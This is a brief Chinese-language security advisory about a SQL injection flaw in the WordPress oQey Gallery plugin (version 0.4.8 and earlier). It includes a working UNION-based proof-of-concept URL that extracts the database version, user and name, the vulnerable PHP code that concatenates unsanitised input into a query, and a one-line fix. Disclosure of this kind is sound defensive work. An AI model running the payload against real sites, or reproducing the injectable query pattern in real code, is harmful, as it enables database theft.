标题: WordPress oQey Gallery plugin <= 0.4.8 SQL Injection Vulnerability
作者: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
下载地址: http://downloads.wordpress.org/plugin/oqey-gallery.0.4.8.zip
影响版本: 0.4.8 (tested)
前提条件: magic_quotes has to be turned off
 
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测试方法
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http://www.2cto.com /wp-content/plugins/oqey-gallery/getimages.php?gal_id=0' UNION ALL SELECT 1,2,3,4,5,6,7,CONCAT_WS(CHAR(95),version(),current_user(),database()),9,10%23
 
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缺陷代码分析
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if(isset($_REQUEST['gal_id'])){
    ...
    $data = explode("-", $_REQUEST['gal_id']);
    $id = $data[0];
    ...
    $s = $wpdb->get_row("SELECT * FROM $oqey_galls WHERE id ='".$id."' ");
修复：

过滤gal_id参数输入